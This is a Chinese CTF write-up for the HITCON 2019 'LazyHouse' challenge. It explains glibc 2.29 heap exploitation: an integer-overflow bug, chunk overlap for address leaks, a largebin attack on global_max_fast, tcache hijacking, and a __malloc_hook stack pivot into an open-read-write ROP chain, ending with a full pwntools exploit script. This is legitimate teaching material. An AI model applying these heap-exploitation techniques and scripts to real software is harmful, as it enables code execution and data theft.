-
-
Hitcon_CTF_2019_LazyHouse
-
2020-10-3 11:02 3592
-
Hitcon_CTF_2019_LazyHouse
glibc2.29 largebin attack
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | / * place chunk in bin * / if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck - >fd; } else / / 当要插入的不是smallbin大小而是largebin大小 { victim_index = largebin_index (size); / / 根据size获取对应的largebin index bck = bin_at (av, victim_index); / / 拿对应largebin index的表头 fwd = bck - >fd; / / 对应largebin index的前一个表头 / * maintain large bins in sorted order * / / / 当此时largebin不为空时 if (fwd ! = bck) { / * Or with inuse bit to speed comparisons * / size | = PREV_INUSE; / * if smaller than smallest, bypass loop below * / assert (chunk_main_arena (bck - >bk)); if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck - >bk)) / / 要插入的chunk的size小于最小的,那么他即将成为新的表头,并且是最小的 { / / bck是对应的largebin index表头 / / fwd是对应的largebin index的前一个表头 fwd = bck; bck = bck - >bk; / / nextsize成链 victim - >fd_nextsize = fwd - >fd; victim - >bk_nextsize = fwd - >fd - >bk_nextsize; fwd - >fd - >bk_nextsize = victim - >bk_nextsize - >fd_nextsize = victim; } else / / 如果不是最小的,那么说明就要插到中间 { assert (chunk_main_arena (fwd)); / / while 负责找到此时largebin中第一个比它大于或等于的 while ((unsigned long ) size < chunksize_nomask (fwd)) { fwd = fwd - >fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long ) size / / 如果是等于 = = (unsigned long ) chunksize_nomask (fwd)) / * Always insert in the second position. * / fwd = fwd - >fd; / / 直接插到后面,不用改nextsize指针了 else { / / 如果不是等于而是大于 / / 需要做nextsize成链 victim - >fd_nextsize = fwd; victim - >bk_nextsize = fwd - >bk_nextsize; fwd - >bk_nextsize = victim; victim - >bk_nextsize - >fd_nextsize = victim; } bck = fwd - >bk; } } / / 当largebin为空时 else victim - >fd_nextsize = victim - >bk_nextsize = victim; } mark_bin (av, victim_index); victim - >bk = bck; victim - >fd = fwd; fwd - >bk = victim; bck - >fd = victim; |
利用思路
实际上我看了一下2.29下的源码,在插入时利用的时候与低版本相比似乎源代码上并没有什么区别
这个搞了一个小demo来理解一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 size_t buf[ 0x10 ]; / / buf is in .bss 5 int main() 6 { 7 size_t * ptr, * ptr2, * ptr3; 8 setbuf(stdout, NULL); 9 setbuf(stdin,NULL); 10 setbuf(stderr,NULL); 11 printf( "buf addr:%p\n" ,buf); 12 13 ptr = malloc( 0x438 ); 14 15 malloc( 0x18 ); 16 ptr2 = malloc( 0x448 ); 17 malloc( 0x18 ); 18 free(ptr); 19 / / put ptr intolarge bin 20 malloc( 0x600 ); 21 22 free(ptr2); 23 printf( "ptr in largebin : %p\n" ,ptr); 24 25 puts( "set largebin chunk's fd_nextsize = NULL" ); 26 ptr[ 2 ] = 0 ; 27 puts( "set largebin chunk's bk_nextsize = buf" ); 28 ptr[ 3 ] = (size_t)&buf[ 0 ]; 29 getchar(); 30 printf( "Original buf[4]:0x%lx\n" , buf[ 4 ]); 31 ptr3 = malloc( 0x68 ); 32 printf( "After largebin attack( malloc(0x68) )\nbuf[4]:0x%lx\n" , buf[ 4 ]); 33 34 35 printf( "Arbitrary write trigger!!!!\n" ); 36 return 0 ; 37 } |
核心过程如下:
- 放不同大小的两个chunk一个放到unosrtedbin,一个放到largebin中
- 然后劫持在largebin中的chunk的nextsize指针,使:fd_nextsize=0; bk_nextsize = evil_addr-0x20,保证fd、bk不变
- 然后申请一个小chunk,比如add(0x68/0x88),此时对chunk做切割,同时任意写触发。(比如打global_max_fast,写上一个极大值)
题目概览
乘法溢出
你看这里,要求 size>127 && 218*size <= 116630
那么等价于要求:size>127 && size <=535
然后你会发现,实际上我们的 money 不是无限的。但是如果我们将size设置成一个很大的值。让 218*size 发生溢出(size是无符号整型),那么第二个if也会被pass掉此时global_node[index].price会被设置成一个极大的值,其实就是对应房子的价格。此时如果我们在调用delete函数卖掉房子,那么money就会被加回来达到一个极大值,从而实现我们几乎有无限多的钱可以购买house
64位unsigned int大小范围内:[0 , 2^64 -1],那么:我们让size*218>2^64 -1就可以溢出了
1 2 3 4 5 6 | 36 def uint_overflow(): 37 sal(cho, '1' ) 38 money = (( 2 * * 64 - 1 ) / 218 ) + 1 # unsigned int overflow 39 sal(ind, '0' ) 40 sal(siz, str (money)) 41 sell( 0 ) |
此时我们的money已经成为了一个极大值。我们几乎可以随便买房子orz。
1 2 3 4 5 | pwndbg> p / x 0x4b27ed3604b445fe $ 1 = 0x4b27ed3604b445fe pwndbg> p 0x4b27ed3604b445fe $ 2 = 5415557893199250942 |
拿到libc与heap
一旦涉及到高版本的overlap的问题,看起来是后向合并用的比较多
首先我们申请chunk排布如下:
之后我们填满大小为0x250的tcachebin。
首先我们edit chunk1,向下溢出劫持chunk2的size(变成0x781)使得chunk2 --> chunk4全部合并overlap掉,此时free掉chunk2,他们三个一起进入unsortedbin,大小0x781
然后我们重新add大小0x338的回来,此时造成chunk3的一部分被overlap了,如下:
此时我们再add(0x600),那么切割剩余的lastremainder会被放入largebin中,并且放上nexsize与fd、bk指针,由于其实我们只free了chunk2,那么此时show一下chunk3就同时获得了libc与heap地址
largebin attack
高版本下由于unsortedbin基本gg,那么largebin attack触发的任意写就补上了unsortedbin的功能。
我们任意写的目标放在global_max_fast,为之后做fastbin attack做准备
我们free chunk3然后再add回来,此时就可以劫持bk_nextsize指针了。
触发largebin attack任意写条件如下:
- unsortedbin、largebin中各有一个chunk,并且要求unsortedbin中的大于largebin中的。
- 劫持largebin chunk的指针:fd、bk保持不变,fd_nextsize=0(防止触发unlink)、bk_nextsize=evil_addr-0x20
之后add一次触发一下切割。此时出发了largebin attack任意写,使得evil_addr上写入了chunk地址(一个大数)
触发后:
global_max_fast已经变成了极大值,如果我们再次free大小为0x250的,由于tcache已满且fastbin变大,那么他会被挂在main_arena+296的位置(此时这里被变成了fastbin),基于这个我们可以做fastbin attack
fastbin attack
由于已经劫持了global_max_fast,此时我们free出的0x250大小的chunk会被挂在main_arena+296上。
我们free大小为0x250的chunk3,然后通过edit chunk2进行溢出,劫持在evil fastbin(main_arena+296)中的chunk3的fd指针指向tcache_pthread_struct,准备劫持tcache
这里还有一个小细节处理的很好,由于我们最初申请的就是0x250的chunk,这个大小刚好等于tcache_pthread_struct,所以当我们劫持fd指向tcache的时候,刚好可以bypass系统对于size的check。
tcache attack劫持tcache_pthread_struct
add一次0x250的chunk回来,同时在add的时候把orw的rop chains布置到堆上去。
然后将tcahce_pthread_struct申请回来,劫持大小为0x220的对应tcache_entry指针指向__malloc_hook,接下来如果我们再malloc(0x220)就可以劫持__malloc_hook了。
Calloc + leave;ret 配合打“栈”迁移
u1s1,这个是个新奇玩意,之前还真没研究过。
本道题中,calloc调用如下:chunk_addr = (char *)calloc(1uLL, size);
首先看一下calloc反汇编出来的:
此时rdi就是1,rsi就是我们传进来的size,你会发现我们此时rbp里的值就是size*1=size
再向下进行:
当malloc_hook存在时:
直接调用了__malloc_hook:
这里就产生了一个问题,通过观察刚刚的执行流程,我们发现当mallochook存在时,调用malloc_hook之前,rbp都是可控的,那么如果我们将rbp布置成我们想要劫持执行流的到的恶意地址位置;然后劫持malloc_hook为leave;ret,实际上再次触发calloc的时候,就直接完成了一次“栈迁移”,一瞬劫持程序的执行流。这也就是本题我们劫持执行流到堆上执行orw攻击的方法。
至此,本题的利用到此结束。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | # encoding=utf-8 # echo "flag{ScUpax0s_lazyhouse} > ./flag" from pwn import * s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n = None : io.recv(n) ra = lambda t = tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n = 2 * * 20 : io.recvlines(n) libc_path = "/usr/lib/x86_64-linux-gnu/libc-2.29.so" elf_path = "./lazyhouse" libc = ELF(libc_path) elf = ELF(elf_path) #io = remote("node3.buuoj.cn",26000) if sys.argv[ 1 ] = = '1' : context(log_level = 'debug' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) elif sys.argv[ 1 ] = = '0' : context(log_level = 'info' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) #io = process([elf_path],env={"LD_PRELOAD":libc_path}) cho = 'Your choice:' # choice提示语 siz = 'Size:' # size输入提示语 con = '' # content输入提示语 ind = 'Index:' # index输入提示语 edi = '' # edit输入提示语 mon = 'Your money:' pri = 'Price:' hou = 'House:' def uint_overflow(): sal(cho, '1' ) money = (( 2 * * 64 - 1 ) / 218 ) + 1 # unsigned int overflow sal(ind, '0' ) sal(siz, str (money)) sell( 0 ) def add(index,size,content = ' ',c=' 1 '): sal(cho,c) sal(ind, str (index)) sal(siz, str (size)) sal(hou,content) def sell(index,c = '3' ): sal(cho,c) sal(ind, str (index)) def show(index,c = '2' ): sal(cho,c) sal(ind, str (index)) def edit(index,content = ' ',c=' 4 '): sal(cho,c) sal(ind, str (index)) sa(hou,content) def call_malloc(content = ' ',c=' 5 '): # malloc(0x217) sal(cho,c) sal(hou,content) # 获取pie基地址 def get_proc_base(p): proc_base = p.libs()[p._cwd + p.argv[ 0 ].strip( '.' )] info( hex (proc_base)) # 获取libc基地址 def get_libc_base(p): libc_base = p.libs()[libc_path] info( hex (libc_base)) def exp(): global io io = process(elf_path) get_proc_base(io) get_libc_base(io) # trigger imul overflow to get infinite money uint_overflow() # chunk overlap add( 0 , 0x88 , 'chunk1' ) # free add( 1 , 0x248 , 'chunk2' ) # overlap add( 2 , 0x248 , 'chunk3' ) # overlap add( 6 , 0x248 , 'chunk4' ) # overlap add( 3 , 0x88 , 'chunk5' ) add( 7 , 0x88 , 'chunk6' ) add( 4 , 0x448 , 'chunk7' ) for i in range ( 7 ): add( 5 , 0x248 , 'chunk5' ) sell( 5 ) # Leak Libc and Heap address edit( 0 , 'a' * 0x80 + p64( 0 ) + p64( 0x781 )) # overlap:chunk1 -> chunk3 sell( 1 ) add( 1 , 0x338 , 'b' * 0x240 + p64( 0 ) + p64( 0x251 )) # add back #1 and partial #2 chunk add( 5 , 0x600 , 'chunk5' ) # put the remainder(0x780-0x340=0x440) into largebin directly. show( 2 ) # now partial chunk2 in largebin libc.address = u64(ru( "\x7f" )[ - 6 :].ljust( 8 , '\x00' )) - libc.sym[ '__malloc_hook' ] - 1120 - 0x10 # fd r( 2 ) success( "libc:" + hex (libc.address)) r( 8 ) # bk heap = u64(r( 8 )) - 0x620 # fd_nextsize point to itself success( "heap:" + hex (heap)) # LargeBin Attack sell( 2 ) # put chunk2 into unsortedbin(because tcahce is FULL) global_max_fast = libc.address + 0x1e7600 fd = bk = libc.address + 0x1e50a0 fd_nextsize = 0 bk_nextsize = global_max_fast - 0x20 add( 2 , 0x248 , '\x00' * 0xe8 + p64( 0x441 ) + p64(fd) + p64(bk) + p64(fd_nextsize) + p64(bk_nextsize)) # hijack bk_nextsize to global max fast sell( 4 ) # put chunk7 (0x450) into unsortedbin add( 4 , 0x88 , 'largebin attack trigger!' ) # trigger largebin attack, Arbitrary Write to change global_max_fast a huge number. # Fastbin attack sell( 4 ) sell( 2 ) # chunk2 now in main_arena+296, because fastbin exteneded edit( 1 , '\x00' * 0x248 + p64( 0x251 ) + p64(heap)) # through edit to hijack chunk2's next pointer to hijack tcache_pthread_struct (both size are 0x250, so it is OK to bypass fastbin's size check) pop_rdi = 0x0000000000026542 + libc.address pop_rsi = 0x0000000000026f9e + libc.address pop_rdx = 0x000000000012bda6 + libc.address syscall = 0x00000000000cf6c5 + libc.address pop_rax = 0x0000000000047cf8 + libc.address flag_str_addr = heap + 0x540 + 0x100 flag_addr = heap + 0x540 # open -> read -> write orw = flat([ 0 , pop_rdi, flag_str_addr, pop_rsi, 0 , pop_rax, 2 , syscall, # open("./flag",0); pop_rdi, 3 , pop_rsi, flag_addr, pop_rdx, 0x100 , pop_rax, 0 , syscall, # read(3,flag_addr,0x100) pop_rdi, 1 , pop_rsi, flag_addr, pop_rdx, 0x100 , pop_rax, 1 , syscall, # write(1,flag_addr,0x100) pop_rdi, 0 , pop_rax, 231 , syscall ]) # now in evil Fastbin(main_arena+296): # evil_Fastbin(main_arena+296) --> chunk2 --> tcache_pthread_struct add( 2 , 0x248 ,orw.ljust( 0x100 , '\x00' ) + './flag\x00' ) # put your rop chains into chunk2, and then the tcache_pthread_struct will be the chunk in your evil Fastbin(main_arena+296) leave_ret = libc.address + 0x0000000000058373 success( "__malloc_hook:" + hex (libc.sym[ '__malloc_hook' ])) add( 4 , 0x248 , '\0' * 0x40 + p64( 0 ) * 0x20 + p64(libc.sym[ '__malloc_hook' ])) # get tcache_pthread_struct back, and set (0x220)tcache_entry[32] --> malloc_hook call_malloc(p64(leave_ret)) # now malloc_hook = addr of leave;ret success( "rop target:" + str (heap + 0x540 )) sell( 4 ) io.sendafter( 'Your choice: ' , '1\0' .ljust( 0x20 , '0' )) io.sendlineafter( 'Index:' , str ( 4 )) io.sendlineafter( 'Size:' , str (heap + 0x540 )) shell() exp() |
效果如下:
参考
https://blog.csdn.net/weixin_34268310/article/details/91571229
https://blog.csdn.net/qq_23066945/article/details/103070322
http://blog.eonew.cn/archives/1263#LazyHouse
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课